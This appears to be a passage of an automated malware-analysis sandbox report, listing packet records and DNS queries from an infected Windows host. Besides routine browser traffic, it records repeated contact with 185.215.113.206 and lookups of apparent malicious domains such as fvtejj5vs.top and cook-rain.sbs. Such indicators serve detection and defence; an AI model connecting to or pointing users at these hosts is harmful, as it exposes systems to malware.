Nov 19, 2024 01:01:47.381244898 CET	49977	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:47.381261110 CET	443	49977	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:47.382124901 CET	443	49977	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:47.382181883 CET	49977	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:47.382555008 CET	49977	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:47.382605076 CET	443	49977	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:47.382698059 CET	49977	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:47.382705927 CET	443	49977	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:47.403326988 CET	443	49976	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:47.403666973 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.403737068 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.403742075 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.403759003 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.403789997 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.403799057 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.403810978 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.403816938 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.403835058 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.403846025 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.403865099 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.403882980 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.404222965 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.404227018 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.404233932 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.404274940 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.404309988 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.413957119 CET	49974	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:47.417114973 CET	443	49975	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:47.417139053 CET	443	49975	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:47.417155027 CET	443	49975	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:47.417210102 CET	49975	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:47.417223930 CET	443	49975	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:47.417257071 CET	49975	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:47.417275906 CET	49975	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:47.423571110 CET	443	49975	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:47.423599005 CET	443	49975	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:47.423649073 CET	49975	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:47.423657894 CET	443	49975	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:47.423696995 CET	49975	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:47.423717976 CET	49975	443	192.168.2.6	23.47.50.143

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 19, 2024 01:01:26.127105951 CET	192.168.2.6	1.1.1.1	0xe3a4	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:01:26.127343893 CET	192.168.2.6	1.1.1.1	0x1320	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 19, 2024 01:01:29.679205894 CET	192.168.2.6	1.1.1.1	0xf7e2	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:01:29.679465055 CET	192.168.2.6	1.1.1.1	0x87fb	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 19, 2024 01:01:30.678886890 CET	192.168.2.6	1.1.1.1	0x163c	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:01:30.679039955 CET	192.168.2.6	1.1.1.1	0xed3	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 19, 2024 01:01:36.557168961 CET	192.168.2.6	1.1.1.1	0xefdf	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:01:36.557305098 CET	192.168.2.6	1.1.1.1	0xf2e3	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 19, 2024 01:01:37.779756069 CET	192.168.2.6	1.1.1.1	0x11a4	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:01:37.780031919 CET	192.168.2.6	1.1.1.1	0x8f07	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 19, 2024 01:01:39.541156054 CET	192.168.2.6	1.1.1.1	0x8816	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:01:39.541976929 CET	192.168.2.6	1.1.1.1	0x7b80	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 19, 2024 01:01:39.549858093 CET	192.168.2.6	1.1.1.1	0x2230	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:01:39.550029993 CET	192.168.2.6	1.1.1.1	0xdc3a	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 19, 2024 01:01:39.557642937 CET	192.168.2.6	1.1.1.1	0xe339	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:01:39.557818890 CET	192.168.2.6	1.1.1.1	0x2628	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 19, 2024 01:01:39.560606956 CET	192.168.2.6	1.1.1.1	0x2d43	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:01:39.560754061 CET	192.168.2.6	1.1.1.1	0x5e2a	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 19, 2024 01:01:39.957807064 CET	192.168.2.6	1.1.1.1	0x9d05	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:01:39.957993031 CET	192.168.2.6	1.1.1.1	0x511c	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 19, 2024 01:01:41.413320065 CET	192.168.2.6	1.1.1.1	0xbc26	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:01:41.413640976 CET	192.168.2.6	1.1.1.1	0x3e7a	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 19, 2024 01:01:41.413958073 CET	192.168.2.6	1.1.1.1	0xa00c	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:01:41.414151907 CET	192.168.2.6	1.1.1.1	0x1371	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 19, 2024 01:01:41.432349920 CET	192.168.2.6	1.1.1.1	0x9b61	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:01:41.432770014 CET	192.168.2.6	1.1.1.1	0x9457	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 19, 2024 01:02:33.209937096 CET	192.168.2.6	1.1.1.1	0xcf79	Standard query (0)	home.fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:02:33.210056067 CET	192.168.2.6	1.1.1.1	0x8868	Standard query (0)	home.fvtejj5vs.top	28	IN (0x0001)	false
Nov 19, 2024 01:02:38.551074028 CET	192.168.2.6	1.1.1.1	0x67d0	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:02:48.163826942 CET	192.168.2.6	1.1.1.1	0x113e	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:02:48.163925886 CET	192.168.2.6	1.1.1.1	0x5da5	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 19, 2024 01:02:48.165781975 CET	192.168.2.6	1.1.1.1	0x481d	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:02:48.165935993 CET	192.168.2.6	1.1.1.1	0xf35f	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 19, 2024 01:02:48.167365074 CET	192.168.2.6	1.1.1.1	0x496c	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:02:48.167506933 CET	192.168.2.6	1.1.1.1	0x15eb	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 19, 2024 01:03:15.388452053 CET	192.168.2.6	1.1.1.1	0x92d3	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:15.425466061 CET	192.168.2.6	1.1.1.1	0x9bb	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 19, 2024 01:03:16.326764107 CET	192.168.2.6	1.1.1.1	0xe779	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:16.341228962 CET	192.168.2.6	1.1.1.1	0xf345	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:16.357769012 CET	192.168.2.6	1.1.1.1	0xadd0	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 19, 2024 01:03:17.277025938 CET	192.168.2.6	1.1.1.1	0xe022	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:17.283021927 CET	192.168.2.6	1.1.1.1	0xb681	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:17.284497976 CET	192.168.2.6	1.1.1.1	0x48ae	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:19.004144907 CET	192.168.2.6	1.1.1.1	0x2bae	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:19.004265070 CET	192.168.2.6	1.1.1.1	0xe1a3	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 19, 2024 01:03:19.195954084 CET	192.168.2.6	1.1.1.1	0xbbb9	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:19.196067095 CET	192.168.2.6	1.1.1.1	0x2ebc	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 19, 2024 01:03:20.547715902 CET	192.168.2.6	1.1.1.1	0xca00	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:20.547832966 CET	192.168.2.6	1.1.1.1	0xa4bb	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 19, 2024 01:03:30.696237087 CET	192.168.2.6	1.1.1.1	0xe628	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:30.711172104 CET	192.168.2.6	1.1.1.1	0x45cb	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:30.736047029 CET	192.168.2.6	1.1.1.1	0x4ba4	Standard query (0)	youtube.com	28	IN (0x0001)	false
Nov 19, 2024 01:03:32.440237045 CET	192.168.2.6	1.1.1.1	0x4fc6	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:32.458457947 CET	192.168.2.6	1.1.1.1	0xb2b7	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:32.460006952 CET	192.168.2.6	1.1.1.1	0xb362	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:32.470558882 CET	192.168.2.6	1.1.1.1	0x859f	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 19, 2024 01:03:32.471584082 CET	192.168.2.6	1.1.1.1	0xef3	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 19, 2024 01:03:32.497802973 CET	192.168.2.6	1.1.1.1	0x2f74	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:32.517206907 CET	192.168.2.6	1.1.1.1	0x9cb0	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:32.525305986 CET	192.168.2.6	1.1.1.1	0xf4c8	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 19, 2024 01:03:33.493736029 CET	192.168.2.6	1.1.1.1	0xa0d8	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:33.535677910 CET	192.168.2.6	1.1.1.1	0xc91e	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:33.550072908 CET	192.168.2.6	1.1.1.1	0xec3b	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 19, 2024 01:03:34.877046108 CET	192.168.2.6	1.1.1.1	0x8b2d	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.456883907 CET	192.168.2.6	1.1.1.1	0x3a4c	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.468154907 CET	192.168.2.6	1.1.1.1	0x262d	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.471276999 CET	192.168.2.6	1.1.1.1	0xd0e	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.492471933 CET	192.168.2.6	1.1.1.1	0x584d	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 19, 2024 01:03:35.496409893 CET	192.168.2.6	1.1.1.1	0x9e8a	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.506953001 CET	192.168.2.6	1.1.1.1	0xebeb	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.521833897 CET	192.168.2.6	1.1.1.1	0xee4a	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 19, 2024 01:03:35.531835079 CET	192.168.2.6	1.1.1.1	0x173	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.541580915 CET	192.168.2.6	1.1.1.1	0xa494	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 19, 2024 01:03:35.681049109 CET	192.168.2.6	1.1.1.1	0xc2c0	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.681298018 CET	192.168.2.6	1.1.1.1	0x1dba	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.681585073 CET	192.168.2.6	1.1.1.1	0x564a	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.694292068 CET	192.168.2.6	1.1.1.1	0x7a82	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.718044996 CET	192.168.2.6	1.1.1.1	0xb6ec	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Nov 19, 2024 01:03:35.718478918 CET	192.168.2.6	1.1.1.1	0x3b5f	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.718802929 CET	192.168.2.6	1.1.1.1	0xe142	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.731925964 CET	192.168.2.6	1.1.1.1	0xcb0a	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.732597113 CET	192.168.2.6	1.1.1.1	0xf5f1	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Nov 19, 2024 01:03:35.732909918 CET	192.168.2.6	1.1.1.1	0xcaf0	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Nov 19, 2024 01:03:35.741569042 CET	192.168.2.6	1.1.1.1	0x11ff	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.741972923 CET	192.168.2.6	1.1.1.1	0xe224	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.749805927 CET	192.168.2.6	1.1.1.1	0xdb74	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Nov 19, 2024 01:03:35.750569105 CET	192.168.2.6	1.1.1.1	0x64fc	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.761528969 CET	192.168.2.6	1.1.1.1	0xb219	Standard query (0)	twitter.com	28	IN (0x0001)	false
Nov 19, 2024 01:03:35.828234911 CET	192.168.2.6	1.1.1.1	0x571c	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:36.488620996 CET	192.168.2.6	1.1.1.1	0x16fd	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:36.503107071 CET	192.168.2.6	1.1.1.1	0x8f61	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:36.511527061 CET	192.168.2.6	1.1.1.1	0x39e8	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 19, 2024 01:03:36.537255049 CET	192.168.2.6	1.1.1.1	0x39e8	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 19, 2024 01:03:40.381216049 CET	192.168.2.6	1.1.1.1	0xf02	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:40.381511927 CET	192.168.2.6	1.1.1.1	0x7833	Standard query (0)	normandy.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:40.381717920 CET	192.168.2.6	1.1.1.1	0xa86	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 19, 2024 01:03:40.390595913 CET	192.168.2.6	1.1.1.1	0x5812	Standard query (0)	normandy-cdn.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:40.393745899 CET	192.168.2.6	1.1.1.1	0xec5b	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:40.405884027 CET	192.168.2.6	1.1.1.1	0x159f	Standard query (0)	normandy-cdn.services.mozilla.com	28	IN (0x0001)	false
Nov 19, 2024 01:03:40.406167030 CET	192.168.2.6	1.1.1.1	0x1553	Standard query (0)	services.addons.mozilla.org	28	IN (0x0001)	false
Nov 19, 2024 01:03:41.371069908 CET	192.168.2.6	1.1.1.1	0x2462	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 19, 2024 01:03:46.627064943 CET	192.168.2.6	1.1.1.1	0x6d8c	Standard query (0)	home.fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:46.627192974 CET	192.168.2.6	1.1.1.1	0xfc03	Standard query (0)	home.fvtejj5vs.top	28	IN (0x0001)	false
Nov 19, 2024 01:03:52.005987883 CET	192.168.2.6	1.1.1.1	0xc42d	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:52.015019894 CET	192.168.2.6	1.1.1.1	0xf282	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 19, 2024 01:04:01.172084093 CET	192.168.2.6	1.1.1.1	0x7be8	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:01.172172070 CET	192.168.2.6	1.1.1.1	0xa48c	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
Nov 19, 2024 01:04:03.800261021 CET	192.168.2.6	1.1.1.1	0xc3f0	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:10.446229935 CET	192.168.2.6	1.1.1.1	0x712c	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 19, 2024 01:04:11.112807035 CET	192.168.2.6	1.1.1.1	0x6dc8	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:13.374465942 CET	192.168.2.6	1.1.1.1	0xf7e6	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:13.383191109 CET	192.168.2.6	1.1.1.1	0xb44b	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 19, 2024 01:04:14.029099941 CET	192.168.2.6	1.1.1.1	0x9522	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:27.534209013 CET	192.168.2.6	1.1.1.1	0xf3fb	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:32.588952065 CET	192.168.2.6	1.1.1.1	0x8a69	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:32.589024067 CET	192.168.2.6	1.1.1.1	0x392b	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 19, 2024 01:04:32.589133978 CET	192.168.2.6	1.1.1.1	0x8a69	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:32.599181890 CET	192.168.2.6	1.1.1.1	0x392b	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 19, 2024 01:04:32.599493980 CET	192.168.2.6	1.1.1.1	0x392b	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 19, 2024 01:04:32.632267952 CET	192.168.2.6	1.1.1.1	0xd585	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:32.632337093 CET	192.168.2.6	1.1.1.1	0xf89f	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 19, 2024 01:04:32.632432938 CET	192.168.2.6	1.1.1.1	0xd585	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:32.632482052 CET	192.168.2.6	1.1.1.1	0xf89f	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 19, 2024 01:04:32.645772934 CET	192.168.2.6	1.1.1.1	0xd585	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:32.645838976 CET	192.168.2.6	1.1.1.1	0xf89f	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 19, 2024 01:04:32.663572073 CET	192.168.2.6	1.1.1.1	0xf89f	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 19, 2024 01:04:32.676883936 CET	192.168.2.6	1.1.1.1	0x8280	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:32.677078009 CET	192.168.2.6	1.1.1.1	0xe3f7	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 19, 2024 01:04:32.677248001 CET	192.168.2.6	1.1.1.1	0x8280	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:33.618784904 CET	192.168.2.6	1.1.1.1	0xf196	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:33.618868113 CET	192.168.2.6	1.1.1.1	0xf196	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:33.633806944 CET	192.168.2.6	1.1.1.1	0xf196	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:33.665869951 CET	192.168.2.6	1.1.1.1	0xdda1	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:33.666117907 CET	192.168.2.6	1.1.1.1	0xdda1	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:35.092698097 CET	192.168.2.6	1.1.1.1	0x2022	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:35.092777014 CET	192.168.2.6	1.1.1.1	0xb200	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 19, 2024 01:04:35.580514908 CET	192.168.2.6	1.1.1.1	0x7f0f	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:35.580598116 CET	192.168.2.6	1.1.1.1	0x7f0f	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:35.997718096 CET	192.168.2.6	1.1.1.1	0x725b	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:35.997786999 CET	192.168.2.6	1.1.1.1	0xf68d	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 19, 2024 01:04:35.997946024 CET	192.168.2.6	1.1.1.1	0x725b	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:35.997988939 CET	192.168.2.6	1.1.1.1	0xf68d	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 19, 2024 01:04:36.028053999 CET	192.168.2.6	1.1.1.1	0xf150	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:36.028054953 CET	192.168.2.6	1.1.1.1	0x4a8d	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 19, 2024 01:04:36.028146029 CET	192.168.2.6	1.1.1.1	0xf150	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:36.028285980 CET	192.168.2.6	1.1.1.1	0x4a8d	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 19, 2024 01:04:36.028321981 CET	192.168.2.6	1.1.1.1	0xf150	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:36.035860062 CET	192.168.2.6	1.1.1.1	0x4a8d	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 19, 2024 01:04:36.058324099 CET	192.168.2.6	1.1.1.1	0xcaa1	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:36.058415890 CET	192.168.2.6	1.1.1.1	0x45e3	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 19, 2024 01:04:36.058737040 CET	192.168.2.6	1.1.1.1	0xcaa1	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:36.066528082 CET	192.168.2.6	1.1.1.1	0x45e3	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 19, 2024 01:04:36.071455956 CET	192.168.2.6	1.1.1.1	0x45e3	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 19, 2024 01:04:36.071480036 CET	192.168.2.6	1.1.1.1	0xcaa1	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:36.079226971 CET	192.168.2.6	1.1.1.1	0x45e3	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 19, 2024 01:04:54.184663057 CET	192.168.2.6	1.1.1.1	0xae14	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:54.193022013 CET	192.168.2.6	1.1.1.1	0x4c3c	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 19, 2024 01:04:54.833839893 CET	192.168.2.6	1.1.1.1	0xe58d	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:57.168854952 CET	192.168.2.6	1.1.1.1	0x81ed	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:57.168958902 CET	192.168.2.6	1.1.1.1	0xf4d1	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 19, 2024 01:04:57.168960094 CET	192.168.2.6	1.1.1.1	0x81ed	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
